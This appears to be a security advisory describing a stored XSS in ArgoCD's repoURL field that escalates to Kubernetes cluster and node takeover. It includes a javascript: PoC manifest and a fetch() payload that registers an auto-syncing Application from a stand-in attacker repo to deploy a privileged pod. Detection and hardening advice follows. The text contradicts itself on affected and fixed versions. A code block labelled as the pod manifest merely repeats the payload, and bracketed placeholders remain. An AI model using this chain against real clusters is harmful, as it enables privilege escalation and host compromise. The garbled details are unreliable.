Executive Summary
CVE-2026-62341 is a stored cross-site scripting (XSS) vulnerability in ArgoCD [versions <= 3.4.6] that lets an attacker who can create or modify an Application persist a malicious repoURL, which then executes in an administrator’s browser inside the ArgoCD origin. Because the payload rides the admin’s authenticated session, and because ArgoCD’s controller typically runs with privileges equivalent to cluster-admin, exploitation escalates from a client-side bug to full compromise of the managed Kubernetes cluster. [A fix is available in v3.4.6; see the disclosure timeline.]
Affected versions: ArgoCD [<= 3.4.4]. Fixed in: [v3.4.6].
Background: What is ArgoCD?
To understand why this client-side bug escalates so drastically, it helps to understand what ArgoCD does.
ArgoCD is a declarative, GitOps continuous delivery tool for Kubernetes. Instead of manually running deployment commands, developers define their infrastructure in a Git repository (the “source of truth”). ArgoCD continuously monitors that repository and automatically syncs the live Kubernetes cluster state with whatever is written in Git.
Why a “client-side” bug ends in cluster takeover
The impact comes from what ArgoCD is allowed to do. To keep fleets of clusters in sync with Git, its controller requires sweeping permissions: the ability to create namespaces, deploy workloads, and rewrite configuration across every environment it manages. Think of the ArgoCD service account as a key cut to open every door in the building. Running GitOps at scale is, in practice, the act of handing it that key. An attacker who gains code execution within ArgoCD’s session isn’t trapped in a browser tab – they’re holding that key too.
And it’s rarely one building. A single ArgoCD instance often manages many downstream clusters, so the blast radius isn’t the cluster you broke into, it’s every cluster that instance can reach. The entry point is a client-side bug, but nothing downstream of it stays client-side.
The Discovery
ArgoCD’s interface is a React app, and React apps that show you data other people control share a recurring weakness. Somewhere, a value from an untrusted place is dropped into a clickable link, and nobody stops to ask what kind of value it really is. React will faithfully escape text so it can’t break out and run as code, but it doesn’t bring that same paranoia to where a link actually points. That gap is old, well documented, and still everywhere, so the focus was on every field that ends up inside an anchor tag, tracing each one back to wherever it came from.
repoURL stood out almost immediately for three reasons. It lives in the Application spec, so anyone allowed to create or edit an Application can set it. It appears in several places across the UI. And it’s named “URL,” which sounds about as harmless as a field can possibly sound. That last part is the trap: a value that’s already supposed to be a link is a value people stop scrutinizing.
Then came the interesting part, the part that makes a finding feel less like a bug and more like a small oversight. ArgoCD already had the fix. Sitting right there in the codebase is an isValidURL() helper that throws out javascript: and the other schemes you’d never want in a link, and it’s correctly bolted onto several of the places the UI renders URLs. The team knew. They’d already done the hard, unglamorous work of spotting the danger and writing the guard.
The question stopped being whether ArgoCD sanitizes this field and became whether it sanitizes it everywhere. One grep later, the answer was clear. On the sync panel, the path that renders repoURL into a link never calls the helper. The guard exists and works; it just isn’t standing at this particular door.
A client-side hole is only as dangerous as the server’s willingness to accept the bad input and hold onto it, so the next step was to check whether the backend would reject a repoURL that wasn’t a normal http, git, or OCI scheme. It wouldn’t. No server-side validation, no second opinion. That’s the difference between a payload that flickers past once and one that’s written into the cluster’s own records and sits there, patiently waiting for an administrator to open the page.
How the exploit works, step by step
Planting the payload is almost insultingly simple, which is exactly why it’s worth taking seriously. The whole chain rides on one field.
1. Plant the payload. An attacker who can create or edit an Application sets repoURL to a javascript: URI instead of a real repository:
apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
name: xss-poc
namespace: argocd
spec:
project: default
source:
repoURL: "javascript:alert(document.domain)"
targetRevision: HEAD
path: .
destination:
server: https://kubernetes.default.svc
namespace: default2. It runs in ArgoCD’s origin. When an admin opens the panel and clicks the repoURL, the script executes inside the ArgoCD origin itself, carrying all the trust the browser extends to the real application. No cross-origin trick, no separate phishing site. The malicious code is already home.
3. It rides the session, no token theft required. People often underestimate this part. The script never has to steal or exfiltrate an API token, because it’s already running as the logged-in user. When it calls the ArgoCD API with an ordinary fetch(), the browser attaches the admin’s ambient session, HttpOnly cookies and all, exactly as if the admin had clicked the button themselves. Whatever that admin is allowed to do, the script can now do. The ceiling is the victim’s own RBAC, so a full admin hands over the cluster while a scoped-down user only hands over what they were already permitted to touch.
4. Escape the browser, land on the node. This is where it stops being a browser problem. Instead of doing anything clever client-side, the payload just asks ArgoCD to do its actual job. It POSTs to /api/v1/applications to register a new Application pointing at an attacker-controlled repo, with automated sync switched on:
JavaScript
fetch('/api/v1/applications', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
metadata: { name: 'node-escape-pod', namespace: 'argocd' },
spec: {
source: {
repoURL: 'https://github.com/attacker/manifests.git',
path: 'privileged-pod'
},
destination: { server: 'https://kubernetes.default.svc', namespace: 'default' },
syncPolicy: { automated: {} }
}
})
})When the sync fires, ArgoCD reaches for its own high-privilege service account and deploys whatever the repo tells it to. And the repo tells it to deploy a pod that’s barely a container at all:
javascript:fetch('/api/v1/applications', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
metadata: {
name: 'node-escape-pod',
namespace: 'argocd'
},
spec: {
project: 'default',
source: {
repoURL: 'https://github.com/attacker/manifests.git',
targetRevision: 'HEAD',
path: 'privileged-pod'
},
destination: {
server: 'https://kubernetes.default.svc',
namespace: 'default'
},
syncPolicy: {
automated: {}
}
}
}
})A privileged container, sharing the host’s process namespace, with the whole host filesystem mounted at /host. Once it schedules, the attacker steps out of the container and onto the node beneath it. The chain that began with a string typed into a text field ends with a root shell on the box.
Visualizing the Exploit Flow
Signs of compromise
You probably won’t catch this at the moment the script runs. That’s the nature of XSS, it’s quiet, it looks like the page doing normal page things, and by the time anything interesting happens the payload has already borrowed a real user’s session. The good news, if you want to call it that, is that the attack becomes loud the second it tries to be useful. Deploying a privileged pod and reaching for a node’s credentials leaves marks. These are the ones to watch for.
In the ArgoCD configuration:
- Any Application whose
repoURLuses a scheme other thanhttps,git, orOCI. Ajavascript:value is the smoking gun, because there’s no innocent reason for one to be there.
In the API activity and audit log:
- New Applications created through
POST /api/v1/applicationsthat you can’t tie back to a real pipeline or a known deploy, especially ones withsyncPolicy.automatedturned on and a source repo nobody recognizes. - An Application getting created or modified right after an admin loaded the Sync Panel, with no human action behind it. The timing is the tell, since the malicious request rides in on the back of that page view.
In the workloads ArgoCD deploys:
- Pods carrying
privileged: true,hostPID: true, hostNetwork: true, or ahostPathvolume mounting a sensitive location, the worst beingpath: /. Deployed by the ArgoCD service account, these are almost never legitimate.
On the node and the network, which is where a quiet bug stops being quiet:
- A container reaching into the host: processes running in the host PID namespace, reads or writes under a mounted host filesystem, a shell where a shell has no business being.
- A workload node querying the cloud metadata service at
169.254.169.254shortly after an unfamiliar pod schedules. That’s the textbook move to lift the node’s IAM credentials and pivot into the wider cloud account. - The repo-server pulling from an external repository you never authorized, or outbound connections from the ArgoCD service user to somewhere it’s never talked to before.
How to defend against it
One of these steps actually closes the hole. The rest buy you time and shrink the blast radius,
Right now
- Upgrade to the patched release [
v3.4.6]. This is the only step that removes the vulnerability itself. Everything below is damage control around it.
- Lock down who can write Applications. The whole chain depends on an attacker being able to set
repoURLin an Application spec, so review your RBAC and pull write access to Applications, AppProjects, and registered repositories back to the people who genuinely need it. This won’t save you if an account that’s supposed to have that access is phished or otherwise taken over, but it cuts off the easy path.
- Put a strict Content Security Policy in front of the UI. A tight policy turns a lot of XSS attempts into failed ones before they get going:
Content-Security-Policy:
default-src 'self';
script-src 'self';
object-src 'none';
base-uri 'self';A CSP is a seatbelt, not a fix. If you already have a permissive policy or inline-script allowances in place, this payload may sail straight through, so don’t treat it as a reason to skip the upgrade.
For the longer term
- Tighten the controller’s privileges. Scope the ArgoCD service account per project or per cluster wherever your topology allows, and keep the control-plane project separate from the apps it manages. The less that key opens, the less an attacker inherits when they get hold of it.
- Enforce Kubernetes Admission Controls. The final stage of this attack only works because the cluster accepts a privileged, host-mounted pod. Admission controls that reject privileged containers,
hostPID,hostNetwork, andhostPathworkloads can stop the node escape even if the ArgoCD control plane has already been compromised. Solutions such as Upwind Admission Controller can enforce these policies and block risky workloads before they reach the cluster.
Disclosure timeline
- [March 16, 2026]: Initial vulnerability report submitted to ArgoCD via GitHub advisory.
- [June 22, 2026]: ArgoCD acknowledged the vulnerability.
- [June 25, 2026]: A fix was proposed.
